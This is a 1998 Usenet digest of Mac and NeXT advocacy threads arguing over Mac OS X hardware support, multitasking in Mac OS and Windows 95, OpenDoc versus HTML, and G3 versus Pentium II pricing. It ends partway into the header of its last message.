From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: What Be SHould have Done!
Date: Fri, 31 Jul 1998 01:49:12 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net>
It would of been so cool if right after the clones were killed Be got
together with some of the clone makers to put out Be Boxes. Like Maybe
MOtorola and Gateway, one for ppc and one for intel? I mean god knows
people want a alternative to the macos and windows. Try to get Beos out
their and get commercial software out for it! I dont know much about
intel, but I know the g3 chip is DIRT cheap. Isnt a g3 300 CHIP less
expensive than a p2 300? Assuming it is, say a clone company could have
the following system with a g3 300 instead of a p2 300, at the same price
with the os being Be:
Intel 300MHz Pentium II Processor
NEW! ABIT BX6 100Mhz Pentium IIMotherboard
// REMOVE craptel and put in g3 300 with 1 meg cache
NEW! 64MB 8ns PC100 100MHz SDRAM Expandableto 512MB
NEW! Intel 740 2X (SBL) AGP 8MB Video Accelerator
Western Digital 6.4GB 33MB/sec Max Ultra DMA Hard Drive
32X Max Mitsumi CD-ROM
Mitsumi 1.44 Floppy Drive
Iomega Internal 100MB Zip Drive w/ 1 Cartridge OPTION ($80)
Ensoniq AudioPCI Wavetable Audio
Benwin 747 3D SRS w/ 336W PMPO Speakers
Amjet Standard 56K V.90 Voice Modem w/ X2 orFLEX Technology
Kingston 10/100 32bit Fast Ethernet Card OPTION ($49)
Gigastar 250W ATX UL Full-Tower Case
Mitsumi 104 Keyboard PS/2
Genius NET Mouse Pro PS/2 (Microsoft Intellimouse compatible)
Goose Neck Microphone
NEW! Microsoft Windows 98
// REMOVE THIS crap, put in Beos
NOVELL Perfect Works (Wordprocessor,Spreadsheet, Database, Draw & Paint)
Carl Industries' 1 Year Warranty on all Parts &Service
$1339
Man, that would be a KICK ASS g3 system!
Its a same people like motorola or IBM arent taking advantage of using the
g3 on their own systems, the things are DIRT cheap compared to 604e's and
p2's. Apple is lucky as hell moto came with the g3, they MAJORLY saved
apple with it. Thats a large part of why apple is doing so well, they are
getting a enormous margin now because of Moto's miracle chip.
From: biggus.FILTER@colorado.edu (jeff)
Newsgroups: comp.sys.next.advocacy
Subject: why no display postscript?
Date: Thu, 30 Jul 1998 15:05:13 -0700
Organization: Univ of Colorado, Boulder
Message-ID: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu>
anyone know why display postscript was ditched for osx? is it that an app
could do the job as well without taking up system resources? (perhaps a
souped up ghostscript?)
-jeff
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 19:16:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pqgr8$mb2$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net>
In article <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> I shouldnt blame Apple for not having true multitasking? Uh huh. SInce
> macos x will be out in a couple of years, I wont lose sleep about it, but
> on REAL os's no software COULD do this, no matter how hard the programmer
> tried.
Please name an operating system that is real by the definition that you gave.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 01:27:26 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C155BA.4D3843B2@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <35c0de11.0@news.depaul.edu> <6pr2k7$jt2$1@nnrp1.dejanews.com> <01bdbc81$0ff68860$f9b4dccf@samsara>
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Jonathan Hendry wrote:
> quinlan@intergate.bc.ca wrote in article
> <6pr2k7$jt2$1@nnrp1.dejanews.com>...
> > In article <35c0de11.0@news.depaul.edu>,
> > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >
> > > My concern is that fixes and work-arounds Apple has developed for
> > > their hardware designs may be very MacOS-specific, and won't
> > > translate well to the new OS. Apple would then have to find and
> > > fix many bugs all over again, with entirely new code in the
> > > Mach/IOKit paradigm (buzzword Bingo! ;) ).
> >
> > Keep in mind that Apple already has a Mach 3 port for the computers in
> > question in the form of the MkLinux kernel. It seems silly to me that
> they
> > can support all of the older PowerMacs in MkLinux but can't support any
> of
> > them in Mac OS X.
>
> Is it the *same* Mach 3? There seems to be quite a bit of variation
> in implementation.
I'd betcha they are more similar than not. The Mach architecture dictates
this. If it is too different, it simply isn't Mach. I'd also betcha that
work on one could help on the other. No need to start from scratch; it's
mostly tweaking.
> Further, just how good is MkLinux's support for those old Macs? Are
> things minimally supported, or does it fully support those Macs? How
> is the support for third-party hardware? Has anyone ever tried to
> really push the hardware?
It's getting pretty impressive. But ironically, the LinuxPPC project is
currently doing better on all of these fronts without any help from Apple
and with a pre-Mach 3 kernel (monolithic) that is actually harder to port to
other machines than is Mach3.
> > > They could do this, but I'm still not convinced it's a good use
> > > of resources.
> >
> > Not screwing customers should be the goal of any company that wants to
> stay in
> > buisness.
>
> I don't see how they're being screwed. Disappointed, perhaps, but not
> screwed. You want screwed, try people who bought PowerPC boxes to run
> NT.
I feel screwed and the customer is always right.
What does PowerPC/NT boxes have to do with Apple? Apple never sold one.
Please take this complaint to the appropriate newsgroup.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 01:19:10 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C153CB.C092C7A7@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>
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Pulsar wrote:
> On Wed, 29 Jul 1998, Joe Ragosta wrote:
>
> > In article <35BE0653.4865BF1E@earthlink.net>, jontemple@earthlink.net wrote:
> >
> > > MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This
> > > runs on ALL PowerMacs, including NuBus.
> >
> > True. but MkLinux doesn't have Yellow Box, Blue Box, PDF, or the Rhapsody
> > IOkit model. So it's irrelevant to this discussion.
>
> Actually, it's not irrelevant.
>
> The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
> X. The Yellow Box, Blue Box, and PDF all interface with the kernel. They
> do not interface with the hardware.
>
> The work that it would take to get Mac OS X running on older PowerMacs is
> in writing the kernel. These other things you mention do not know and
> do not care what specific hardware they are running on.
>
> > > The statement that OS X uses an "entirely new driver architecture" is
> > > questionable. OS X will be basically what Rhapsody is now --- Mach
> > > kernel with BSD 4.4 UNIX layer. In fact, everything that Apple wants
> > > to add to OS X already runs on PCI Macs.
> >
> > Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
>
> Of which IOKit is the only thing that's relevant to getting Mac OS X to
> run on older machines. Even that is supposed to make it easier to write
> drivers.
>
> And this would be for hardware that Apple has _all_ the documentation on
> and which Apple _already_ has experience in writing drivers for.
*sigh*.
Don't you get it, Ryan? Joe isn't actually listening! He is off somewhere
trying to shake off an Apple-flavored crack induced delusion. So, please stop
trying to bother him with the facts! They just get in the way of the Voices
(Jobs, Avie, and assorted PR folks) that are guiding his fingers at the keyboard.
No matter what you say, he is going to think OS X isn't really an update to
Rhapsody, but something totally radical and new! I get a kick out of his blind
faith, but I do worry that he is going to o'd on that stuff. He just doesn't get
it that the IOKit and the Mach 3 microkernal actually make *cross*-platform
support much easier --- easiest in the whole business ---- so he can't possibly
understand how much they'd help to support machines that are *within the SAME
platform*. He thinks they will actually make things harder. I'd laugh if it
wasn't so sad. I hope he snaps out of it soon; I am starting to worry!
(Sorry, Joe, but that last message about me being "delusional" made this motif
too hard to resist. Get well soon :)
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 19:51:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pqisq$ouq$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@new <6poqeb$kbe$1@nnrp1.dejanews.com> <6ppi27$fkb$1@bartlet.df.lth.se>
In article <6ppi27$fkb$1@bartlet.df.lth.se>,
cb@bartlet.df.lth.se (Christian Brunschen) wrote:
> Unix ?
>
> Unless you manage to find a bug and actually crash the system, the design
> is such that the kernel _will_ periodically interrupt _whatever_ process
> is running and give another ready-to-run process the chance to run
> instead.
This is false. Some server processes are not interruptable e.g. you cannot
interrupt the process that sets the page tables for the virtual memory
system. And, of course, bugs in the kernel can lead to the delay of
preemption. Any operating system that offers realtime scheduling can be
stopped from preempting process by a process setting it's CPU requirements to
match the total capabilities of the CPU. In this case the only time another
process can be scheduled is when that process blocks for I/O.
> The MacOS' best case is when all applications 'play nice', and cooperate -
> thus giving each other time to run. In this case, everything works fine,
> for each application, and for the user.
Things don't work fine in this case because you still get inefficient I/O,
bad scheduling behaviour and periods where processes cannot be removed from
the CPU (such as when they are loading).
> Win95's best case is that you don't run any misbehaving applications
> (16-bit applications that would block the pre-emtion mechanism), and thus
> each application will get pre-empted when necessary, and thus everything
> works fine for the applications and the user.
I agree but notice how this is better than the Mac OS best case for the
reasons that I described above.
> MacOS's worst case is if an application misbehaves and does not allow
> other applications to run.
>
> Win95's worst case is if a 16-bit application bypasses and stops the
> pre-emption mechanism, and does not allow other applications to run.
I was looking at the worst case as the operating system having to wait for an
application to relinquish the CPU through normal cooperative calls. That is
the same as the Mac OS best case. I guess that you mean that the application
could never allow other applications to run? Because, in the Mac OS,
applications do not allow other applications to run except when they allow it
(through periodic) calls to WaitNextEvent/GetNextEvent.
> As we can see, both the best and worst case are in fact _equal_ under both
> OS:es.
No.
> Now, the only argument that can be made is where on the scale between the
> best case and worst case the respective OSes are.
It's not the only argument but the scale does exist.
> According to Josh, most MacOS applications are sufficiently well-behaved
> to give a good user experience, placing it near the best case.
But most win16 applications are also well behaved so, even if you only ran
win16 applications, the user experience would be as good as the Mac OS user
experience. OTOH, if you only run win32 applications then the user experience
is better than that of the Mac OS.
> MacOS multitasking is actually not inferior; both systems are vulnerable
> in the presence of misbehaving applications.
So is every operating system that has at least one bug in it's kernal code.
There is a scale to vulnerability: the Mac OS is very vulnerable, Windows 95
is much less vulnerable and UNIX is almost invulnerable.
> Thus they are comparable,
> even if one is based upon a _theoretically better_ foundation. Theory is
> all fine, but if you botch it in practice, your nice theory won't help
> you.
I use both the Mac OS and Windows 95. Windows 95 multitasking is better in
practice.
> I personally dislike _both_ Win95 _and_ MacOS.
Who doesn't?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <joe.ragosta-3007980839550001@wil34.dol.net> <6pqa01$rms$1@plo.sierra.com> <35c0cd24.0@news.depaul.edu> <35C0CF94.F375BE52@exu.ericsson.se>
Message-ID: <35c0d9fe.0@news.depaul.edu>
Date: 30 Jul 98 20:39:26 GMT
In comp.sys.next.advocacy Michael Peck <eusmpec@exu.ericsson.se> wrote:
> Jonathan W Hendry wrote:
> >
> > In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> >
> > > Well, since the new processor is backwards compatible with the old one,
> > > that's a poor reason. And this "new motherboard" as many have pointed out,
> > > is extemely similar to older motherboards, with minor modifications, so
> > > there's another poor reason.
> >
> > Minor modifications that Be can't figure out?
> You honestly can't tell the difference between supporting minor
> modifications and having to reverse-engineer (possibly illegal) those
> same modifications? Hm.
If they were so minor, they'd be easy to figure out.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 15:45:00 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730153931.22326D-100000@ux5.cso.uiuc.edu>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net>
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On Thu, 30 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Actually, it's not irrelevant.
> >
> > The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
> > X. The Yellow Box, Blue Box, and PDF all interface with the kernel. They
> > do not interface with the hardware.
> >
> > The work that it would take to get Mac OS X running on older PowerMacs is
> > in writing the kernel. These other things you mention do not know and
> > do not care what specific hardware they are running on.
>
> But you still have to get YB, BB, PDF and IOkit to work with the new kernel.
You _already_ have to get those working on the new kernel. I'm not saying
that pre-G3 support should be a priority, but it can definitely be done in
parallel with the rest of the OS once a kernel has been produced for the
PowerMac G3s.
> > > Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
> >
> > Of which IOKit is the only thing that's relevant to getting Mac OS X to
> > run on older machines. Even that is supposed to make it easier to write
> > drivers.
>
> But it's not the only thing relevant to testing on older machines.
Right. The kernel is the other thing. So out of the list that you
constantly repete, the only things relevant to _adding_ support for
pre-G3 PCI PowerMacs is the kernel and IOKit.
> > And this would be for hardware that Apple has _all_ the documentation on
> > and which Apple _already_ has experience in writing drivers for.
>
> True. But that doesn't mean that getting it to work and testing it would
> be trivial.
Quite possibly. That does not mean I am going to assume that it is too
hard and that Apple isn't just making this decision fivolously (because it
has underestimated the want of owners of these machines for such an OS).
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 14:16:34 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E630C9-7AE1E@206.165.43.16>
References: <6ppuu6$pgu@newsb.netnews.att.com>
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To: gupta@kcopsrm.tm.tta.moc-mirror
nntp://news.primenet.com/comp.sys.mac.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>A good Web page builder, like Golive CyberStudio, allows WYSIWYG editing
>of many of the allowed elements in an HTML page. ( Here, WYSIWYG should
>be
>taken to mean "WYSIWYG within the precision that HTML allows for. )
>One does not have in-place editing of images, etc., but I don't think
>that OpenDoc had that either (I may be wrong here.) In the WYSIWYG HTML
>world, you edit content in different editors, and drag-and-drop or
>point-and-shoot to create the initial binding into your document.
>
>Overall, it is a much more loosely coupled structure than OpenDoc, and
>so is easier to build.
WHAT?????
The original set of demos of OD parts allowed you to draw simple shapes
and/orembed OD parts within those shapes in the drawing part and allow
re-layering of the OD parts as though they were simple drawing objects.
ODFDraw, it was called.
If you want a shipping commercial product, go to
<http://www.nisus.com>
and download GXMagic, a set of OpenDoc parts that provides GX drawing and
typography with in-place editing.
Small wonder Jobs could kill OD so easily. So-called "experts" haven't a
clue as to what it can do.
Hint: in principle, anything can be embedded in anything and dragged around
the window or dragged to a different window.
Comparing HTML to OD is an incredibly simplistic view of what each is for.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 14:17:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E63119-7C0F1@206.165.43.16>
References: <6ppuu6$pgu@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror said:
> If OpenDoc had, e.g.,
>provided an easy way for you to edit a contained GIF with a non-OpenDoc-ed
>Photoshop, then OpenDoc might have caught on.
It is/was up to each part-maker to provide export features. Some did. Some
didn't.
Have you ever read the programming manual for OD?
If not, why do you assume that you understand what it can do?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 16:24:53 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730162421.25738B-100000@ux10.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu> <6plech$eb8@newsb.netnews.att.com>
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On 28 Jul 1998 gupta@kcopsrm.tm.tta.moc-mirror wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> >
> >There are two things going on here. I'm trying to defend one and not the
> >other.
> >
> >The taskbar is good (far from perfect, but at least better than the
> >Application Menu).
>
> One could argue also, that the taskbar eats up space. One could make
> it invisible, but then it is not different from the Application Menu.
As I said, the taskbar is far from perfect.
> I agree that checking the Application Menu to see what is running doesn't
> come naturally to people, especially those who first ran Windows 95.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 14:21:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E631D4-7ECE7@206.165.43.16>
References: <6pq5hg$8np$2@news.spacelab.net>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Charles W. Swiger <chuck@codefab.com> said:
>[ ... ]
>>OpenDoc might be "superior" to HTML, technically. But we all have
>>investments in applications, having either written them, bought them,
>>learned them, that one would be reluctant to discard. If OpenDoc had,
e.g.,
>>provided an easy way for you to edit a contained GIF with a non-OpenDoc-
>ed
>>Photoshop, then OpenDoc might have caught on.
>
>And I agree that this is one of the fundamental weaknesses of OpenDoc.
>HTML
>web pages are closer to the NEXTSTEP "file wrapper" notion, where you have
>a
>hierarchical directory structure of nested content, where the individual
>items are nothing more than standard files in standard formats.
>
>Needing specialized tools to edit standard content is bad.
Bento was originally meant to be available for LOTS of purposes.
Most of you don't appear to have ANY idea what OD does.
For instance, if I select a graphic in a web-page and move it to another
position in the web-page, does HTML allow one to do this AND to edit its
content in the new position?
HTML is for creating content on the internet at screen resolution.
OD is for creating and editing content for display and print, as well as
for anything else that you might want to do.
Can you create a game in an HTML format and than live-replace parts of that
game while you are playing it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scfrancis@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 12:34:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ppp8p$ltq$1@nnrp1.dejanews.com>
References: <35BFB0BB.1AB6@geocities.com> <1998073003553700.XAA01373@ladder03.news.aol.com>
In article <1998073003553700.XAA01373@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> Landivar 2 said (as regards Apple creating a consumer system with a 9"
screen):
> > 2 words "Toshiba Libreto"
>
> Actually, I'd say two words and two letters, "Mitsubishi Amity SP"
>
> This is a small pen slate system with a docking system which utilizes the pen
> slate as a monitor when docked.
>
> It begs for a combination OS/UI including the best features of (for example)
> the Newton OS, Mac OS (for small-screened keyboard use) and the NeXT UI (why
> not plug it into a whiteboard? or a 21" monitor).
>
> William
>
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
>
>
Wouldn't it be possible to install Rhapsody CR1 Intel in the future (or DR2
now) on this baby? It would if someone would write two drivers:
Pen Driver
Graphics Driver to take avantage of 640 by 800 resolution (I assume it would
work now in 640 x 480.
I hope Apple has something like this in mind. I've gotta have storage space
(unlike the Newton), higher resolution (unlike the Newton), and instant on
(just like the Newton).
Can anyone see a hole in what I say about Rhapsody/Mac OS 10 Server being able
to run on this machine???
-Scott
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 14:26:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E63303-833FD@206.165.43.16>
References: <MPG.102a39ec9e60f0f0989a48@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Donald Brown <don.brown@cesoft.com> said:
>> MacOS XIII will only run on computers available a year after it is
>> released...
>>
>And if you measure the height of a kid as he grows to 10 years old and
>project from the trend, the kid will be about 30 feet tall when he is 21.
>
But the kid is growing, not shrinking.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 30 Jul 1998 15:54:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-3007981554200001@wil33.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com>
In article <6pqamt$s5d$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Landivar2 wrote in message <35BFB0BB.1AB6@geocities.com>...
> ><snip>
> >> Jeez, if by next year the best they can do is release a consumer portable
> >> with *only* a 9" screen, they deserve what they can get.
> >
> > 2 words "Toshiba Libreto"
>
> I love my Libretto. Less than $1000, and under 2 lbs. I wish Apple would
> develop a PowerBook with those features, it would sure help my development.
While the specs and price may vary a bit, it looks like this is exactly
the type of thing the consumer portable is supposed to target.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Thu, 30 Jul 1998 14:20:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3007981420050001@sdn-ar-001casbarp097.dialsprint.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com> <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net> <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu>
In article <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu>,
biggus.FILTER@colorado.edu (jeff) wrote:
> >Why take a p2 that is only %10 faster when a p2 compupter at even %50
> >faster would STILL be cheaper than the g3???
>
> still not as fast, even upped by 50%, than a g3 _for most applications_.
This is bull. The following apps, are not more than %30 slower than the
same speed g3 (and in fact some are even faster!):
mathematica
quake
microsoft word
excel
powerpoint
photoshop
Even Apple's internal tests showed that a g3 is ONLY %30 faster than a
same mhz p2. I say ONLY, because p2's are much faster mhz wise, so to get
a p2 that is similiar in speed to a g3 is STILL CHEAPER!
> For something like mathematica, I would buy the far cheaper 604e (less
> than comparable p2 and g3) which outperforms both the p2 and the g3 for
> math at given MHz. when looking at chip/system prices, the 604e is the
> math winner, the g3 the winner for most other apps. The new motorola chips
> should out shine all of the above for both fp and int at less price and
> less power. (note: p2s run terribly hot, and the xeon is worse and *much*
> more expensive than all these chips.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 1998 22:16:08 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pqrb8$s9e$3@nnrp02.primenet.com>
References: <6ppuu6$pgu@newsb.netnews.att.com> <B1E630C9-7AE1E@206.165.43.16>
Lawson English <english@primenet.com> wrote:
: Small wonder Jobs could kill OD so easily. So-called "experts" haven't a
: clue as to what it can do.
The whole Design for Accptance question is about how you get experts on
your side. Lets assume for the moment that OpenDoc is as good and as
unique as you say it is. Lets then list some ot the things that might
have slowed its acceptance:
- It required special tools (SOM compiler, etc.)
- The special tools weren't released to developers until about a year
after the initial technology announcement.
- Those tools required 24M of RAM when 8M was standard.
- The inital developer release was not stable and had a very poor UI.
I went and bought more memory and a bigger hard disk to try the OpenDoc
1.0 beta, but not very many other people did. What I found in the inital
release was a complex technology years from prime time. I, and apparently
most others, found little reason to stay with OpenDoc.
You are apparently saying I should have stayed with OpenDoc. I say it's a
competetive environment, and there are plenty of projects to interest the
developer. I think that the burden is on those offering a technology to
make it acceptable. I raise the issue because I would like you to use my
technologies:
http://members.tripod.com/~mpTOOLS/EditBeans.html
http://members.tripod.com/~mpTOOLS/themes.html
I just haven't figured out how to make them acceptable,
John
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 98 21:18:44
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul30211844@slave.doubleu.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171>
<pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170>
<Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<id_est-2007982007050001@192.168.1.3>
<Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
<joe.ragosta-2107981248320001@wil132.dol.net>
